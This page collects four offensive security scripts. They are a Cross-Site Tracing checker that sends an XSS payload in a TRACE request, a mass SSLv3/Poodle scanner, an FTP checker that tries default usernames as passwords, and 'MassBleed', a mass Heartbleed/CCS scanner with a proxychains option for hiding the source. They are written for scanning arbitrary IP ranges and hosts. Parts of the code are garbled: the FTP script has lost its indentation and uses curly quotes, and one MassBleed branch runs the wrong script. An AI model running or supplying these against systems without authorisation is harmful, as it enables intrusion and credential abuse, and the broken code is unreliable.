Cross-Site Tracer Exploit

#!/usr/bin/python
# Cross-Site Tracer by 1N3 v20150224
# https://crowdshield.com
#
# ABOUT: A quick and easy script to check remote web servers for Cross-Site Tracing. For more robust mass scanning, you can create a list of domains or IP addresses to iterate through by doing 'for a in `cat targets.txt`; do ./xsstracer.py $a 80; done;'
#
# USAGE: xsstracer.py <IP/host> <port>
#

import socket
import time
import sys, getopt

class bcolors:
    HEADER = '\033[95m'
    OKBLUE = '\033[94m'
    OKGREEN = '\033[92m'
    WARNING = '\033[93m'
    FAIL = '\033[91m'
    ENDC = '\033[0m'
    BOLD = '\033[1m'
    UNDERLINE = '\033[4m'

def main(argv):
    argc = len(argv)

    if argc <= 2:
        print bcolors.OKBLUE + "+ -- --=[Cross-Site Tracer by 1N3 v20150224" + bcolors.ENDC
        print bcolors.OKBLUE + "+ -- --=[" + bcolors.UNDERLINE + "https://crowdshield.com" + bcolors.ENDC
            print bcolors.OKBLUE + "+ -- --=[usage: %s <host> <port>" % (argv[0]) + bcolors.ENDC
            sys.exit(0)

    target = argv[1] # SET TARGET
    port = argv[2] # SET PORT

    buffer1 = "TRACE / HTTP/1.1"
    buffer2 = "Test: <script>alert(1);</script>"
    buffer3 = "Host: " + target

    print ""
    print bcolors.OKBLUE + "+ -- --=[Cross-Site Tracer by 1N3 "
    print bcolors.OKBLUE + "+ -- --=[https://crowdshield.com"
    print bcolors.OKBLUE + "+ -- --=[Target: " + target + ":" + port

    s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    result=s.connect_ex((target,int(port)))

    if result == 0:
        s.send(buffer1 + "\n")
        s.send(buffer2 + "\n")
        s.send(buffer3 + "\n\n")
        data = s.recv(1024)
        script = "alert"
        if script.lower() in data.lower():
            print bcolors.FAIL + "+ -- --=[Site vulnerable to XST!" + bcolors.ENDC
            print ""
            print bcolors.WARNING + data + bcolors.ENDC
        else:
            print bcolors.OKGREEN + "+ -- --=[Site not vulnerable to XST!"
            print ""
            print ""

    else:
        print bcolors.WARNING + "+ -- --=[Port is closed!" + bcolors.ENDC

    s.close()

main(sys.argv)

PoodleWalk SSLv3 Scanner

#!/bin/bash
# PoodleWalk SSLv3 Scanner v20141017 by 1N3
# http://treadstonesecurity.blogspot.ca
# Usage: ./poodlewalk.sh <CIDR|IP>
#
# ABOUT:
# PoodWalk makes it easier to mass scan environments for systems vulnerable to the "Poodle" vulnerability. It uses unicorn scan to scan a large range of IP's or CIDR blocks for port 443. If open, poodwalk runs SSLScan for SSLv3 enabled ciphers which are vulnerable to the "Poodle" attack in CVE-2014-3566.
#
# REQUIREMENTS:
# Is unicornscan installed?
# Is sslscan installed?
#
# USAGE EXAMPLES:
# ./poodlewalk.sh 192.168.0.0/16 - Mass scan all hosts for port 443 and test for SSLv3 on 192.168.0.0/16
# for a in `cat my_list_of_domains_or_ips.txt`; do ./poodlewalk.sh $a; done; - Mass scan a text file of domains and IP's for Poodle
#

echo -e "\033[1m(--==== PoodleWalk SSLv3 Scanner by 1N3"
echo -e "\033[1m(--==== http://treadstonesecurity.blogspot.ca"
tput sgr0
echo ""

UNICORNSCAN=`which unicornscan`
SSLSCAN=`which sslscan`
RANGE=$1

if [ "$UNICORNSCAN" == "" ]; then
    echo -e "\033[1m(--==== Unicornscan not installed! Exiting..."
    exit
fi

if [ "$SSLSCAN" == "" ]; then
    echo -e "\033[1m(--==== SSLScan not installed! Exiting..."
    exit
fi

if [ -z "$1" ]; then
    echo -e "\033[1m(--==== Usage: $0 <CIDR|IP>"
    exit
fi

echo -e "\033[1m(--==== Testing for Poodle (SSLv3): $RANGE"
for a in `unicornscan $RANGE -p 443 | awk '{print $6}'`;
do
    echo -e "\033[1m(--==== Testing for Poodle (SSLv3): $a"
    sslscan --no-failed $a | egrep --color=auto 'Accepted  SSLv3'
done

echo -e "\033[1m(--==== Scan Complete!"
exit

Anonymous FTP Login Checker

#!/usr/bin/python
# Anonymous FTP login checker by 1N3 v20140805
# http://xerosecurity.com
#
# ABOUT:
# This script checks the remote host for anonymous FTP accounts enabled.

import socket
import time
import sys, getopt
def main(argv):
argc = len(argv)
if argc <= 1:
print “usage: %s <host>” % (argv[0])
sys.exit(0)
print “(–==== Checking anonymous FTP login…\n”
users=["anonymous","admin","ftp","administrator","guest"]
target = argv[1] # SET TARGET
for user in users:
print “(–==== Checking user: ” +user
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target,21))
data = s.recv(1024)
s.send(‘USER ‘ +user+ ‘\r\n’)
data = s.recv(1024)
s.send(‘PASS ‘ +user+ ‘\r\n’)
data = s.recv(1024)
print data
s.send(‘QUIT’ +’\r\n’)
s.close()
main(sys.argv)

OpenSSL CCS & HeartBleed Mass Scanner

#!/bin/bash
# MassBleed OpenSSL Scanner v20140609 by 1N3
# http://treadstonesecurity.blogspot.ca
# Usage: sh massbleed.sh <CIDR|IP> <single|port|subnet> [port] [proxy]
#
# ABOUT:
# This script has four main functions with the ability to proxy all connections:
# 1. To mass scan any CIDR range for OpenSSL vulnerabilities via port 443/tcp (https) (example: sh massbleed.sh 192.168.0.0/16)
# 2. To scan any CIDR range for OpenSSL vulnerabilities via any custom port specified (example: sh massbleed.sh 192.168.0.0/16 port 8443)
# 3. To individual scan every port (1-10000) on a single system for vulnerable versions of OpenSSL (example: sh massbleed.sh 127.0.0.1 single)
# 4. To scan every open port on every host in a single class C subnet for OpenSSL vulnerabilities (example: sh massbleed.sh 192.168.0. subnet)
#
# PROXY: A proxy option has been added to scan via proxychains. You'll need to configure /etc/proxychains.conf for this to work.
#
# PROXY USAGE EXAMPLES:
# (example: sh massbleed.sh 192.168.0.0/16 0 0 proxy)
# (example: sh massbleed.sh 192.168.0.0/16 port 8443 proxy)
# (example: sh massbleed.sh 127.0.0.1 single 0 proxy)
# (example: sh massbleed.sh 192.168.0. subnet 0 proxy)
#
# VULNERABILITIES:
# 1. OpenSSL HeartBleed Vulnerability (CVE-2014-0160)
# 2. OpenSSL CCS (MITM) Vulnerability (CVE-2014-0224)
#
# REQUIREMENTS:
# Is the heartbleed POC present?
# Is the openssl CCS script present?
# Is unicornscan installed?
# Is nmap installed?

echo "(--==== http://treadstonesecurity.blogspot.ca"
echo "(--==== MassBleed OpenSSL Scanner by 1N3"
echo ""

HEARTBLEED=`ls heartbleed.py`
OPENSSL_CCS=`ls openssl_ccs.pl`
UNICORNSCAN=`which unicornscan`
NMAP=`which nmap`
RANGE=$1
SCAN_TYPE=$2
CUSTOM_PORT=$3
PROXY=$4
PORT_RANGE="1-65000"

if [ "$HEARTBLEED" != "heartbleed.py" ]; then
    echo "(--==== heartbleed.py not found!"
    echo "(--==== To fix, download the POC by Jared Stafford (https://gist.github.com/sh1n0b1/10100394) and place in same directory named: heartbleed.py"
    exit
fi

if [ "$OPENSSL_CCS" != "openssl_ccs.pl" ]; then
    echo "(--==== openssl_ccs.pl not found!"
    echo "(--==== To fix, download the script from RedHat (https://access.redhat.com/labs/ccsinjectiontest/) and place in same directory named: openssl_ccs.pl"
    exit
fi

if [ "$UNICORNSCAN" == "" ]; then
    echo "(--==== Unicornscan not installed! Exiting..."
    exit
fi

if [ "$NMAP" == "" ]; then
    echo "(--==== Nmap not installed! Exiting..."
    exit
fi

if [ -z "$1" ]; then
    echo "(--==== Usage: $0 <CIDR|IP> <single|port|subnet> [port] [proxy]"
    exit
fi

if [ "$PROXY" = "proxy" ]; then
    echo "(--==== Scanning via proxy..."
    if [ "$SCAN_TYPE" = "single" ]; then
        if [ "$CUSTOM_PORT" != "0" ]; then
            echo "(--==== Checking HeartBleed: $RANGE:$CUSTOM_PORT" && proxychains python heartbleed.py $RANGE -p $CUSTOM_PORT | grep vulnerable
            echo "(--==== Checking OpenSSL CCS: $RANGE:$CUSTOM_PORT" && proxychains perl openssl_ccs.pl $RANGE $CUSTOM_PORT | grep affected;
        else
            for a in `proxychains unicornscan $RANGE -p $PORT_RANGE | awk '{print $4}' | cut -d']' -f1`;
                do
                    echo "(--==== Checking HeartBleed $RANGE:"$a && proxychains python heartbleed.py $RANGE -p $a | grep vulnerable
                    echo "(--==== Checking OpenSSL CCS $RANGE:"$a && proxychains perl openssl_ccs.pl $RANGE $a | grep affected;
            done;
        fi
    fi
    if [ "$SCAN_TYPE" = "subnet" ]; then
        for a in {1..254};
        do
            echo "(--==== Scanning: $RANGE$a"
            for b in `proxychains unicornscan "$RANGE$a" -mT -r500 | awk '{print $4}' | cut -d']' -f1`;
                do
                echo "(--==== $RANGE$a:$b"
                echo "(--==== Checking HeartBleed:" && proxychains python heartbleed.py $RANGE$a -p $b | grep vulnerable
                echo "(--==== Checking OpenSSL CCS:" && proxychains perl heartbleed.py $RANGE$a $b | grep affected
            done;
        done;
    fi
    if [ "$SCAN_TYPE" = "port" ]; then
        for a in `proxychains unicornscan $RANGE -p $CUSTOM_PORT | awk '{print $6}'`;
            do
                echo "(--==== Checking HeartBleed:" $a:$CUSTOM_PORT && proxychains python heartbleed.py $a -p $CUSTOM_PORT | grep vulnerable
                echo "(--==== Checking OpenSSL CCS:" $a:$CUSTOM_PORT && proxychains perl openssl_ccs.pl $a $CUSTOM_PORT | grep affected
        done;
    else
        for a in `proxychains unicornscan $RANGE -p 443 | awk '{print $6}'`;
            do
                echo "(--==== Checking HeartBleed:" $a && proxychains python heartbleed.py $a -p 443 | grep vulnerable
                echo "(--==== Checking OpenSSL CCS:" $a && proxychains perl openssl_ccs.pl $a 443 | grep affected
        done
    fi
else
    if [ "$SCAN_TYPE" = "single" ]; then
        for a in `unicornscan $RANGE -p $PORT_RANGE | awk '{print $4}' | cut -d']' -f1`;
            do
                echo "(--==== Checking HeartBleed $RANGE:"$a && python heartbleed.py $RANGE -p $a | grep vulnerable
                echo "(--==== Checking OpenSSL CCS $RANGE:"$a && perl openssl_ccs.pl $RANGE $a | grep affected
        done;
    fi
    if [ "$SCAN_TYPE" = "subnet" ]; then
        for a in {1..254};
        do
            echo "(--==== Scanning: $RANGE$a"
            for b in `unicornscan "$RANGE$a" -mT -r500 | awk '{print $4}' | cut -d']' -f1`;
                do
                    echo "$RANGE$a:$b"
                    echo "(--==== Checking HeartBleed:" && python heartbleed.py $RANGE$a -p $b | grep vulnerable
                    echo "(--==== Checking OpenSSL CCS:" && perl openssl_ccs.pl $RANGE$a $b | grep affected
            done;
        done;
    fi
    if [ "$SCAN_TYPE" = "port" ]; then
        for a in `unicornscan $RANGE -p $CUSTOM_PORT | awk '{print $6}'`;
            do
                echo "(--==== Checking HeartBleed:" $a:$CUSTOM_PORT && python heartbleed.py $a -p $CUSTOM_PORT | grep vulnerable
                echo "(--==== Checking OpenSSL CCS:" $a:$CUSTOM_PORT && perl openssl_ccs.pl $a $CUSTOM_PORT | grep affected
        done;
    else
        for a in `unicornscan $RANGE -p 443 | awk '{print $6}'`;
            do
                echo "(--==== Checking HeartBleed:" $a && python heartbleed.py $a -p 443 | grep vulnerable
                echo "(--==== Checking OpenSSL CCS:" $a && perl openssl_ccs.pl $a 443 | grep affected
        done
    fi
fi

echo "(--==== Scan Complete!"
exit